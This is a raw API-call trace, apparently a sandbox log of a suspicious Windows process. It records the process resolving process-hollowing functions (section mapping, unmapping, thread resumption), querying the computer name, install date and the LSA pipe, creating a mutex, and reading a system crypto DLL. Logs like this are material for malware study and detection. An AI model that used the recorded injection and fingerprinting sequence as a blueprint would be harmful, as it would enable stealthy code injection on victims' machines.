06:37:11,575	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => mbstowcs FunctionAddress => 0x77c1d380 ModuleHandle => 0x77c10000	SUCCESS	0x00000000
06:37:11,575	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => memcpy FunctionAddress => 0x77c46f70 ModuleHandle => 0x77c10000	SUCCESS	0x00000000
06:37:11,575	996	LdrGetDllHandle	ModuleHandle => 0x77a80000 FileName => CRYPT32.dll	SUCCESS	0x00000000
06:37:11,585	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => CryptImportPublicKeyInfo FunctionAddress => 0x77a92725 ModuleHandle => 0x77a80000	SUCCESS	0x00000000
06:37:11,585	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => CryptStringToBinaryA FunctionAddress => 0x77ab452b ModuleHandle => 0x77a80000	SUCCESS	0x00000000
06:37:11,585	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => CryptDecodeObjectEx FunctionAddress => 0x77a91fc4 ModuleHandle => 0x77a80000	SUCCESS	0x00000000
06:37:11,585	996	LdrGetDllHandle	ModuleHandle => 0x7c900000 FileName => ntdll.dll	SUCCESS	0x00000000
06:37:11,585	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => _stricmp FunctionAddress => 0x7c912e44 ModuleHandle => 0x7c900000	SUCCESS	0x00000000
06:37:11,585	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => strcat FunctionAddress => 0x7c90249d ModuleHandle => 0x7c900000	SUCCESS	0x00000000
06:37:11,585	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => strlen FunctionAddress => 0x7c902645 ModuleHandle => 0x7c900000	SUCCESS	0x00000000
06:37:11,585	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => strcpy FunctionAddress => 0x7c90248d ModuleHandle => 0x7c900000	SUCCESS	0x00000000
06:37:11,585	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => sprintf FunctionAddress => 0x7c925ba4 ModuleHandle => 0x7c900000	SUCCESS	0x00000000
06:37:11,585	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => sscanf FunctionAddress => 0x7c96febd ModuleHandle => 0x7c900000	SUCCESS	0x00000000
06:37:11,585	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => memset FunctionAddress => 0x7c902435 ModuleHandle => 0x7c900000	SUCCESS	0x00000000
06:37:11,585	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => memcpy FunctionAddress => 0x7c901db3 ModuleHandle => 0x7c900000	SUCCESS	0x00000000
06:37:11,585	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => NtQueryInformationProcess FunctionAddress => 0x7c90d7e0 ModuleHandle => 0x7c900000	SUCCESS	0x00000000
06:37:11,585	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => ZwReadVirtualMemory FunctionAddress => 0x7c90d9e0 ModuleHandle => 0x7c900000	SUCCESS	0x00000000
06:37:11,585	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => ZwMapViewOfSection FunctionAddress => 0x7c90d500 ModuleHandle => 0x7c900000	SUCCESS	0x00000000
06:37:11,585	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => NtCreateSection FunctionAddress => 0x7c90d160 ModuleHandle => 0x7c900000	SUCCESS	0x00000000
06:37:11,585	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => ZwUnmapViewOfSection FunctionAddress => 0x7c90def0 ModuleHandle => 0x7c900000	SUCCESS	0x00000000
06:37:11,595	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => ZwResumeThread FunctionAddress => 0x7c90db20 ModuleHandle => 0x7c900000	SUCCESS	0x00000000
06:37:11,595	996	LdrLoadDll	Flags => 522712 BaseAddress => 0x77fe0000 FileName => Secur32.dll	SUCCESS	0x00000000
06:37:11,595	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => GetUserNameExA FunctionAddress => 0x77fe1dca ModuleHandle => 0x77fe0000	SUCCESS	0x00000000
06:37:11,595	996	NtOpenKey	DesiredAccess => 131097 KeyHandle => 0x000000c8 ObjectAttributes => \Registry\Machine\System\CurrentControlSet\Control\ComputerName	SUCCESS	0x00000000
06:37:11,595	996	NtOpenKey	DesiredAccess => 131097 KeyHandle => 0x000000cc ObjectAttributes => ActiveComputerName	SUCCESS	0x00000000
06:37:11,595	996	NtQueryValueKey	Information => T\x00U\x00R\x00B\x00O\x00P\x00C\x00\x00\x00 KeyHandle => 0x000000cc ValueName => ComputerName Type => 1	SUCCESS	0x00000000
06:37:11,595	996	NtCreateFile	ShareAccess => 3 FileName => PIPE\lsarpc DesiredAccess => 0xc0100080 CreateDisposition => 1 FileHandle => 0x000000d8	SUCCESS	0x00000000
06:37:11,595	996	NtSetInformationFile	FileHandle => 0x000000d8 FileInformation =>	SUCCESS	0x00000000	1 time
06:37:11,605	996	NtWriteFile	Buffer => \x05\x00\x0b\x03\x10\x00\x00\x00H\x00\x00\x00\x01\x00\x00\x00\xb8\x10\xb8\x10\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x01\x00xW4\x124\x12\xcd\xab\xef\x00\x01#Eg\x89\xab\x00\x00\x00\x00\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x00\x00 FileHandle => 0x000000d8	SUCCESS	0x00000000
06:37:11,605	996	NtReadFile	Buffer => \x05\x00\x0c\x03\x10\x00\x00\x00D\x00\x00\x00\x01\x00\x00\x00\xb8\x10\xb8\x10\xb1F\x00\x00\x0c\x00\PIPE\lsass\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x00\x00 FileHandle => 0x000000d8	SUCCESS	0x00000000
06:37:11,605	996	NtCreateFile	ShareAccess => 3 FileName => PIPE\lsarpc DesiredAccess => 0xc0100080 CreateDisposition => 1 FileHandle => 0x000000d4	SUCCESS	0x00000000
06:37:11,605	996	NtSetInformationFile	FileHandle => 0x000000d4 FileInformation =>	SUCCESS	0x00000000	1 time
06:37:11,605	996	NtWriteFile	Buffer => \x05\x00\x0b\x03\x10\x00\x00\x00H\x00\x00\x00\x01\x00\x00\x00\xb8\x10\xb8\x10\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x01\x00xW4\x124\x12\xcd\xab\xef\x00\x01#Eg\x89\xab\x00\x00\x00\x00\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x00\x00 FileHandle => 0x000000d4	SUCCESS	0x00000000
06:37:11,605	996	NtReadFile	Buffer => \x05\x00\x0c\x03\x10\x00\x00\x00D\x00\x00\x00\x01\x00\x00\x00\xb8\x10\xb8\x10\xb2F\x00\x00\x0c\x00\PIPE\lsass\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x00\x00 FileHandle => 0x000000d4	SUCCESS	0x00000000
06:37:11,615	996	RegOpenKeyExA	Handle => 0x000000d4 Registry => 0x80000002 SubKey => Software\Microsoft\Windows NT\CurrentVersion	SUCCESS	0x00000000
06:37:11,615	996	RegQueryValueExA	Handle => 0x000000d4 Data => 1339640837 ValueName => InstallDate	SUCCESS	0x00000000
06:37:11,615	996	RegCloseKey	Handle => 0x000000d4	SUCCESS	0x00000000
06:37:11,615	996	LdrLoadDll	Flags => 522776 BaseAddress => 0x77dd0000 FileName => advapi32.dll	SUCCESS	0x00000000
06:37:11,615	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => MD5Init FunctionAddress => 0x77de7058 ModuleHandle => 0x77dd0000	SUCCESS	0x00000000
06:37:11,615	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => MD5Update FunctionAddress => 0x77de7132 ModuleHandle => 0x77dd0000	SUCCESS	0x00000000
06:37:11,615	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => MD5Final FunctionAddress => 0x77de7092 ModuleHandle => 0x77dd0000	SUCCESS	0x00000000
06:37:11,615	996	NtCreateMutant	Handle => 0x000000d4 InitialOwner => 0 MutexName => 2GVWNQJz1	SUCCESS	0x00000000
06:37:11,615	996	RegOpenKeyExA	Handle => 0x000000d8 Registry => 0x80000002 SubKey => SOFTWARE\Microsoft\Cryptography\Defaults\Provider\Microsoft Base Cryptographic Provider v1.0	SUCCESS	0x00000000
06:37:11,615	996	RegQueryValueExA	Handle => 0x000000d8 Data => 1 ValueName => Type	SUCCESS	0x00000000
06:37:11,615	996	RegQueryValueExA	Handle => 0x000000d8 DataLength => 11 ValueName => Image Path Type => 1	SUCCESS	0x00000000
06:37:11,615	996	RegQueryValueExA	Handle => 0x000000d8 Data => rsaenh.dll\x00 ValueName => Image Path	SUCCESS	0x00000000
06:37:11,615	996	LdrGetDllHandle	ModuleHandle => 0x00000000 FileName => rsaenh.dll	FAILURE	3221225781	1 time
06:37:11,625	996	NtOpenKey	DesiredAccess => 1 KeyHandle => 0x000000dc ObjectAttributes => \Registry\MACHINE\System\CurrentControlSet\Control\Session Manager	SUCCESS	0x00000000
06:37:11,625	996	NtQueryValueKey	KeyHandle => 0x000000dc ValueName => SafeProcessSearchMode	FAILURE	3221225524
06:37:11,625	996	NtCreateFile	ShareAccess => 1 FileName => C:\WINDOWS\system32\rsaenh.dll DesiredAccess => 0x80100080 CreateDisposition => 1 FileHandle => 0x000000dc	SUCCESS	0x00000000
06:37:11,625	996	NtQueryInformationFile	FileHandle => 0x000000dc FileInformation => \x000\x03\x00\x00\x00\x00\x00\x00.\x03\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00	SUCCESS	0x00000000
06:37:11,625	996	NtCreateSection	ObjectAttributes => DesiredAccess => 0x000f0005 SectionHandle => 0x000000e0 FileHandle => 0x000000dc	SUCCESS	0x00000000
06:37:11,625	996	ZwMapViewOfSection	SectionOffset => 0x0007f6a4 SectionHandle => 0x000000e0 ProcessHandle => 0xffffffff BaseAddress => 0x00180000	SUCCESS	0x00000000
06:37:11,625	996	NtCreateFile	ShareAccess => 1 FileName => C:\WINDOWS\system32\rsaenh.dll DesiredAccess => 0x80100080 CreateDisposition => 1 FileHandle => 0x000000dc	SUCCESS	0x00000000
06:37:11,635	996	NtCreateSection	ObjectAttributes => DesiredAccess => 0x000f0005 SectionHandle => 0x000000e0 FileHandle => 0x000000dc	SUCCESS	0x00000000
06:37:11,635	996	ZwMapViewOfSection	SectionOffset => 0x0007f708 SectionHandle => 0x000000e0 ProcessHandle => 0xffffffff BaseAddress => 0x00180000	SUCCESS	0x00000000
06:37:11,635	996	NtReadFile	Buffer => MZ\x90\x00\x03\x00\x00\x00\x04\x00\x00\x00\xff\xff\x00\x00\xb8\x00\x00\x00\x00\x00\x00\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xf8\x00\x00\x00\x0e\x1f\xba\x0e\x00\xb4 \xcd!\xb8\x01L\xcd!This program cannot be run in DOS mode. $\x00\x00\x00\x00\x00\x00\x00\x14_\xd9\x13P>\xb7@P>\xb7@P>\xb7@w\xf8\xda@H>\xb7@\x931\xb8@Y>\xb7@P>\xb6@\xc5>\xb7@\x931\xea@[>\xb7@\x931\xeb@Q>\xb7@\x931\xe9@Q>\xb7@\x931\xd7@Q>\xb7@\x931\xe8@\x7f>\xb7@\x931\xed@Q>\xb7@RichP>\xb7@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00PE\x00\x00L\x01\x04\x00 FileHandle => 0x000000dc	SUCCESS	0x00000000
06:37:11,635	996	NtQueryInformationFile	FileHandle => 0x000000dc FileInformation => P\x01\x00\x00\x00\x00\x00\x00	SUCCESS	0x00000000
06:37:11,635	996	NtSetInformationFile	FileHandle => 0x000000dc FileInformation =>	SUCCESS	0x00000000
06:37:11,635	996	NtReadFile	Buffer => \x03\x00\x00\x00\x00\x00\x04\x00\x00\x10\x00\x00\x00\x00\x10\x00\x00\x10\x00\x00\x00\x00\x00\x00\x10\x00\x00\x000\xea\x02\x00\xbb\x02\x00\x00\xc4\xdd\x02\x00x\x00\x00\x00\x000\x03\x00P\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00@\x03\x00\xc8\x10\x00\x00@\x12\x00\x00\x1c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10e\x00\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x008\x02\x00\x00\xbc\xdb\x02\x00\xe0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00.text\x00\x00\x00\xeb\xdc\x02\x00\x00\x10\x00\x00\x00\xde\x02\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 \x00\x00`.data\x00\x00\x00 0\x00\x00\x00\xf0\x02\x00\x00*\x00\x00\x00\xe2\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00@\x00\x00\xc0.rsrc\x00\x00\x00P\x0c\x00\x00\x000\x03\x00\x00\x0e\x00\x00 FileHandle => 0x000000dc	SUCCESS	0x00000000
06:37:11,635	996	NtReadFile	Buffer => \x00\x04\x00\x08\x00\x00\x00\x08\x00\x04\x01\x00 \x04\x01\x08\x00\x00\x00\x00 \x04\x01\x00\x00\x00\x00\x08\x00\x04\x00\x00 \x00\x01\x00 \x04\x00\x08\x00\x04\x00\x00\x00\x00\x00\x00 \x04\x01\x08 \x00\x01\x08\x00\x04\x01\x08 \x04\x00\x00\x00\x00\x01\x00\x00\x04\x01\x00 \x00\x01\x08\x00\x04\x00\x08 \x04\x00\x00 \x00\x00\x00 \x04\x01\x00\x00\x00\x01\x08 \x00\x00\x08@\x00\x00\x80@\x00 \x00\x00\x00\x00\x00\x00 \x80@\x00 \x00\x00 \x00\x00@ \x00\x80\x00\x00 \x00@ \x00\x00@ \x80\x00 \x00\x00\x00\x00\x80\x00 \x00\x80@\x00\x00\x80\x00\x00 \x80@ \x00\x00\x00 \x00@ \x00\x80@\x00 \x80\x00\x00\x00\x00\x00 \x00\x00@\x00\x00\x00\x00 \x80@\x00 \x80@ \x80\x00\x00 \x80\x00\x00\x00\x80@ \x00\x00@\x00\x00\x00\x00 \x00@ \x00\x00 \x00\x80@ \x00\x00\x00\x00\x00\x80\x00 \x00\x80@ \x00\x00 \x80@\x00 \x00\x00\x00\x00\x00 FileHandle => 0x000000dc	SUCCESS	0x00000000
06:37:11,645	996	NtReadFile	Buffer => '\x9e\x9e\xb9\xd9\xe1\xe18\xeb\xf8\xf8\x13+\x98\x98\xb3"\x11\x113\xd2ii\xbb\xa9\xd9\xd9p\x07\x8e\x8e\x893\x94\x94\xa7-\x9b\x9b\xb6<\x1e\x1e"\x15\x87\x87\x92\xc9\xe9\xe9 \x87\xce\xceI\xaaUU\xffP((x\xa5\xdf\xdfz\x03\x8c\x8c\x8fY\xa1\xa1\xf8 \x89\x89\x80\x1a \x17e\xbf\xbf\xda\xd7\xe6\xe61\x84BB\xc6\xd0hh\xb8\x82AA\xc3)\x99\x99\xb0Z--w\x1e\x0f\x0f\x11{\xb0\xb0\xcb\xa8TT\xfcm\xbb\xbb\xd6,\x16\x16:\xa5\xc6cc\x84\xf8||\x99\xeeww\x8d\xf6{{ \xff\xf2\xf2\xbd\xd6kk\xb1\xdeooT\x91\xc5\xc5P`00\x03\x02\x01\x01\xa9\xcegg}V++\x19\xe7\xfe\xfeb\xb5\xd7\xd7\xe6M\xab\xab\x9a\xecvvE\x8f\xca\xca\x9d\x1f\x82\x82@\x89\xc9\xc9\x87\xfa}}\x15\xef\xfa\xfa\xeb\xb2YY\xc9\x8eGG\x0b\xfb\xf0\xf0\xecA\xad\xadg\xb3\xd4\xd4\xfd_\xa2\xa2\xeaE\xaf\xaf\xbf#\x9c\x9c\xf7S\xa4\xa4\x96\xe4rr FileHandle => 0x000000dc	SUCCESS	0x00000000
06:37:11,645	996	NtReadFile	Buffer => m\xd6G\x13\x9a\xd7a\x8c7\xa1\x0czY\xf8\x14\x8e\xeb\x13<\x89\xce\xa9'\xee\xb7a\xc95\xe1\x1c\xe5\xedzG\xb1<\x9c\xd2\xdfYU\xf2s?\x18\x14\xceys\xc77\xbfS\xf7\xcd\xea_\xfd\xaa[\xdf=o\x14xD\xdb\x86\xca\xaf\xf3\x81\xb9h\xc4>8$4,\xc2\xa3@_\x16\x1d\xc3r\xbc\xe2%\x0c(<I\x8b\xff \x95A9\xa8\x01q\x08\x0c\xb3\xde\xd8\xb4\xe4\x9cdV\xc1\x90{\xcb\x84a\xd52\xb6pHl\t\xd0\xb8WBPQ\xf4\xa7S~Ae\xc3\x1a\x17\xa4\x96:'^\xcb;\xabk\xf1\x1f\x9dE\xab\xac\xfaX\x93K\xe3\x03U 0\xfa\xf6\xadvm\x91\x88\xccv%\xf5\x02L\xfcO\xe5\xd7\xd7\xc5*\xcb\x80&5D\x8f\xb5b\xa3I\xde\xb1Zg%\xba\x1b\x98E\xea\x0e\xe1]\xfe\xc0\x02\xc3/u\x12\x81L\xf0\xa3\x8dF\x97\xc6k\xd3\xf9\xe7\x03\x8f_\x95\x15\x92\x9c\xeb\xbfmz\xda\x95RY-\xd4\xbe\x83\xd3Xt!)I\xe0i FileHandle => 0x000000dc	SUCCESS	0x00000000
06:37:11,645	996	NtReadFile	Buffer => \xfb\x0bA.\x9a\xd7a\x8c\x94\xdel\x87\x86\xc5{\x9a\x88\xccv\x91\xa2\xf3U\xa0\xac\xfaX\xab\xbe\xe1O\xb6\xb0\xe8B\xbd\xea\x9f \xd4\xe4\x96\x04\xdf\xf6\x8d\x13\xc2\xf8\x84\x1e\xc9\xd2\xbb=\xf8\xdc\xb20\xf3\xce\xa9'\xee\xc0\xa0*\xe5zG\xb1<tN\xbc7fU\xab*h\\xa6!Bc\x85\x10Lj\x88\x1b^q\x9f\x06Px\x92 \x0f\xd9d\x04\x06\xd4o\x16\x1d\xc3r\x18\x14\xcey2+\xedH<"\xe0C.9\xf7^ 0\xfaU\xec\x9a\xb7\x01\xe2\x93\xba \xf0\x88\xad\x17\xfe\x81\xa0\x1c\xd4\xbe\x83-\xda\xb7\x8e&\xc8\xac\x99;\xc6\xa5\x940\x9c\xd2\xdfY\x92\xdb\xd2R\x80\xc0\xc5O\x8e\xc9\xc8D\xa4\xf6\xebu\xaa\xff\xe6~\xb8\xe4\xf1c\xb6\xed\xfch\x0c g\xb1\x02\x03j\xba\x10\x18}\xa7\x1e\x11p\xac4.S\x9d:'^\x96(<I\x8b&5D\x80|B\x0f\xe9rK\x02\xe2`P\x15\xffnY\x18\xf4Df;\xc5Jo6\xceXt!\xd3 FileHandle => 0x000000dc	SUCCESS	0x00000000
06:37:11,645	996	NtReadFile	Buffer => \xce>'\xca\x07\xc2\xc0!\xc7\xb8\x86\xd1\x1e\xeb\xe0\xcd\xd6}\xda\xeax\xd1n\xee\x7fO}\xf5\xbao\x17r\xaag\xf0\x06\xa6\x98\xc8\xa2\xc5}c \xae \xf9\xbe\x04\x98?\x11\x1bG\x1c\x135\x0bq\x1b\x84}\x04#\xf5w\xdb(\x93$\xc7@{\xab\xca2\xbc\xbe\xc9\x15 \xbe\x9e<L \x10\x9c\xc4g\x1dC\xb6B>\xcb\xbe\xd4\xc5L*~e\xfc\x9c)\x7fY\xec\xfa\xd6:\xabo\xcb_\x17XGJ\x8c\x19Dl\x98/\x8aB\x91D7q\xcf\xfb\xc0\xb5\xa5\xdb\xb5\xe9[\xc2V9\xf1\x11\xf1Y\xa4\x82?\x92\xd5^\x1c\xab\x98\xaa\x07\xd8\x01[\x83\x12\xbe\x851$\xc3}\x0cUt]\xber\xfe\xb1\xde\x80\xa7\x06\xdc\x9bt\xf1\x9b\xc1\xc1i\x9b\xe4\x86G\xbe\xef\xc6\x9d\xc1\x0f\xcc\xa1\x0c$o,\xe9-\xaa\x84tJ\xdc\xa9\xb0\\xda\x88\xf9vRQ>\x98m\xc61\xa8\xc8'\x03\xb0\xc7\x7fY\xbf\xf3\x0b\xe0\xc6G\x91\xa7\xd5Qc\xca\x06g))\x14\x85 \xb7' FileHandle => 0x000000dc	SUCCESS	0x00000000
06:37:11,645	996	NtReadFile	Buffer => \x00\x00\x00\xffu\x18\xffu\x14\xffu\x10\xffvxVh\x90\x98\x01h\xe8\xcb\xf9\xff\xff\x85\xc0\x0f\x85\xc0\x00\x00\x009E\x10\x0f\x84\xb5\x00\x00\x00\x8bE\x0c\x85\xc0\x0f\x84\xaa\x00\x00\x00\x81x\x04\x05\x80\x00\x00\x0f\x85\x9d\x00\x00\x00\x83~`\x01\x0f\x85\x93\x00\x00\x00\x8bNxW\x8bx\x10\x8b\xd1\x83\xc7\x04\xc1\xe9\x02\x83\xc6,\xf3\xa5\x8b\xca\x83\xe1\x03\xf3\xa4_\xebq\xb8\x08\x00 \x80\xebp\xffu\x18\xffu\x14\xffu\x10j\x08Vh\xa0t\x01h\xeb$\xffu\x18\xffu\x14\xffu\x10j\x08Vh\xd0f\x01h\xeb\x11\xffu\x18\xffu\x14\xffu\x10j\x08Vh V\x01h\xe87\xf9\xff\xff\x85\xc0u09E\x10t)\x8bE\x0c\x85\xc0t"\x81x\x04\x05\x80\x00\x00u\x19\x83~`\x01u\x13\x8bV,\x8bH\x10\x89Q\x04\x8bV0\x89Q\x08\x83H4\x013\xc0^]\xc2\x14\x00\xcc\xcc\xcc\xcc\xcc\x8b\xffU\x8b\xec\x83\xec\x14V3\xf6\xf7E\x18\xbf\xff\xff\xff\x89u FileHandle => 0x000000dc	SUCCESS	0x00000000
06:37:11,645	996	NtReadFile	Buffer => v\x81\xf9\x02f\x00\x00tX\x81\xf9\x03f\x00\x00t:\x81\xf9 f\x00\x00t2\x81\xf9 f\x00\x00vl\x81\xf9\x10f\x00\x00wd\xffu\x14\x8dM\xf0Q\xffu\xf4j\x00\xffpxPh\x90\x98\x01h\xe8\xfe\xe7\xff\xff\x85\xc0tF\x8b\xf0\xebf\xffu\x14\x8dM\xf0Q\xffu\xf4j\x00j\x08Ph\xa0t\x01h\xeb\xdd\xffu\x14\x8dM\xf0Q\xffu\xf4j\x00j\x08Ph\xd0f\x01h\xeb\xc7\xffu\x14\x8dM\xf0Q\xffu\xf4j\x00j\x08Ph V\x01h\xeb\xb1\x8bu\xf0\x8bE\x10\x8bU\xec\x03\xf2\x8b\xc8\x8b\xd1\xc1\xe9\x02\x8d{\x14\xf3\xa5\x8b\xca\x83\xe1\x03\xf3\xa4\x89\x033\xff3\xf6\x83}\xf4\x00t\x08\xffu\xf4\xe8\xf0\xa0\x01\x00\x8bE\xfc\x85\xc0t\x12\x83\xc0\xf8\x818Heapu\x07P\xff\x15\x1c \x03h\x8bE\xf8\x85\xc0t\x12\x83\xc0\xf8\x818Heapu\x07P\xff\x15\x1c \x03h\x8b\xc6\x8de\xe0_^[\xc9\xc2\x10\x00\xcc\xcc\xcc FileHandle => 0x000000dc	SUCCESS	0x00000000
06:37:11,645	996	NtReadFile	Buffer => \xe9\x02\xf3\xa5\x8b\xc8\x8bE\xfc\x83\xe1\x03\xf3\xa4\x8bu\x08\x03\xc3\x01E\x14\x8b}\x14\x8b\xcb\x8b\xc1\xc1\xe9\x02\xf3\xa5\x8b\xc8\x8bE\x08\x83\xe1\x03\xf3\xa4\x8bJ\x04\x8d4\x18\x8bE\x14\xc1\xe9\x03\x8d<\x18\x03}\xfc\x8b\xc1\xc1\xe9\x02\xf3\xa5\x8b\xc8\x8bE\xf4\x83\xc0\xecP\xffu\x0c\x83\xe1\x03\xf3\xa4\xe8\x9f\x91\x01\x00\x85\xc0t\x043\xc0\xeb&\x8b}\xf0\x8bu\xf43\xc0@\x8bM\x18\x899\x8bM\x10\x891\xeb\x113\xc0\xeb\xf0\x8bE\x18\x898\x8bE\x10\x8903\xc0@_[^\xc9\xc2\x14\x00\xcc\xcc\xcc\xcc\xcc\x8b\xffU\x8b\xec\x8bE\x0c%\x00\xe0\x00\x00=\x00\x80\x00\x00u\x043\xc0\xeb\x1a\x8bE\x08\x8b\x80\x84\x01\x00\x00j\x00\xffu\x0c\xff4\x85(\x18\x03h\xe8c\xe1\x01\x00]\xc2\x08\x00\xcc\xcc\xcc\xcc\xcc\x8b\xffU\x8b\xec\x8bE\x0c\x8bM\x14W3\xff-\x00$\x00\x00\x899t\x19-\x01(\x00\x00td\x83\xe8\x03tTHtFHtY-\xfaW\x00\x00u\x06 FileHandle => 0x000000dc	SUCCESS	0x00000000
06:37:11,645	996	NtReadFile	Buffer => \xfa\x10f\x00\x00w\x05\x8bIx\xeb\x8a\x83&\x00\xebA\xc7\x06@\x00\x00\x00\xeb9\x8bM\x1c\x8bI\x10\x85\xc9u\x07\xb9 \x00 \x80\xeb:\x8bI\x08\x89\x0e\xeb!\xf7\xde\x1b\xf6\x81\xe6\xea\x00\x00\x00\x8b\xce\xeb#\x8bM\x14\x85\xc9t\x129\x18r\x0e\x8bU\x1c\x8bR\x04\x89\x11\x89\x183\xc9\xeb\x0c\xf7\xd9\x1b\xc9\x81\xe1\xea\x00\x00\x00\x89\x18_[3\xc0\x85\xc9\x0f\x94\xc0\x8b\xf0\x85\xf6u\x07Q\xff\x15\xc4\x11\x00h\x8b\xc6^]\xc2\x18\x00\xcc\xcc\xcc\xcc\xcc\x8b\xffU\x8b\xecSV\x8bu\x083\xc0\xf6\x06 Wt\x01@\x83}\x0c\x02u\x13\xbb\x84\x12\x00h\xbf|\x12\x00h\xc7E\x08t\x12\x00h\xeb\x17\x83}\x0c\x01uP\xbbl\x12\x00h\xbfd\x12\x00h\xc7E\x08\\x12\x00h\x83\xbeX\x01\x00\x00\x00t\x15j\x00P\xffu\x0ch\xb0\x1a\x03hV\xe8\xcb\xab\x00\x00\x85\xc0u&W\x8b=\xc4\x10\x00h\x81\xc6@\x01\x00\x00\xff6\xff\xd7\xffu\x08\xff6\xff\xd7S FileHandle => 0x000000dc	SUCCESS	0x00000000
06:37:11,645	996	NtReadFile	Buffer => \x8bu \x85\xf6t\x1d3\xc9;\xc1v\x17\x8dE\xdc+\xf0\x8dD \xdc\x8a\x1c\x060\x18A;M\x18r\xf1\x8b]\xd8\x8b}\x08\x81\xff\x01f\x00\x00\x0f\x84\xf1\x00\x00\x00\x81\xff\x02f\x00\x00\x0f\x84\xbc\x00\x00\x00\x81\xff\x03f\x00\x00\x0f\x84\x87\x00\x00\x00\x81\xff f\x00\x00t\x7f\x81\xff f\x00\x00vm\x81\xff\x10f\x00\x00v6;\xfaua\x8bM\x18\x8bu\xd0\x8b\xc1\xc1\xe9\x02\x83}$\x01\x8d}\xect\x03\x8bu\xd4\xf3\xa5\x8b\xc8\x8dE\xecP\xffu\x18\x83\xe1\x03S\xf3\xa4\xe8\x18\xec\x00\x00\xe9\xb2\x00\x00\x00\x83}$\x01u\x15j\x01S\x8dE\xdcP\x8dE\xecP\xe8\x8d\xea\x00\x00\xe9\x9d\x00\x00\x00j\x00S\xffu\xd4\x8dE\xecP\xe8y\xea\x00\x00\xe9\x83\x00\x00\x00\xbe\x08\x00 \x80\xe9\xc7\x00\x00\x00\x83}$\x01u\x12j\x01S\x8dE\xdcP\x8dE\xecP\xe8d\xc6\x00\x00\xebgj\x00S\xffu\xd4\x8dE\xecP\xe8S\xc6\x00\x00\xebP\x83}$\x01u FileHandle => 0x000000dc	SUCCESS	0x00000000
06:37:11,645	996	NtReadFile	Buffer => \x01\x00\x00\x8dE\xf4PV\xffu\x18\xe8\xcd\xcb\xff\xff\x85\xc0\x0f\x84D\x01\x00\x009u\xf0\x8bE\xf4\x8bM\x14\x8d<\x01u\x17W\xe8@a\x01\x00\x8b\xd8;\xde\x89]\xecu\x11j\x08^\xe9\xb6\x01\x00\x00\x8b]\xf8\x83\xc3\x08\x89]\xec\x8dE\xf4PS\xffu\x18\xe8\x8a\xcb\xff\xff\x85\xc0\x0f\x84\x01\x01\x00\x009u\x10t\x1eVW\x8dE\xf4PSVj\x01V\xffu\x10\xffu\x08\xe8\xd4\xab\xff\xff;\xc6\x0f\x85\xb8\xfd\xff\xff\x83}\xf0\x00\x8bM\xf4\x8dY\x08\x0f\x85<\x01\x00\x00\x8b}\x1c\x8bu\xec\x83\xc7\x08\xe96\x01\x00\x00\x8a\x06<\x03t\x08<\x04\x0f\x85\xb2\x00\x00\x00\x8bE\xfc\x8b@\x10\x85\xc0\x0f\x84\xb8\x00\x00\x00\x8bX\x08\x8bu\x1c\x83\xc3\x07\xc1\xeb\x03\x83\xc3\x14\x85\xf6\x0f\x84\x15\x01\x00\x00\x8bM 9\x19\x0f\x82 \x01\x00\x00\x8b\x08\x8bU\xf8\x89J\x08\x8bH\x08\x89J\x0c\x8bH\x10\x89J\x10\x8bH\x08\x83\xc1\x07\xc1\xe9\x03\x8dp\x14\x8b\xc1\xc1\xe9\x02\x8d FileHandle => 0x000000dc	SUCCESS	0x00000000
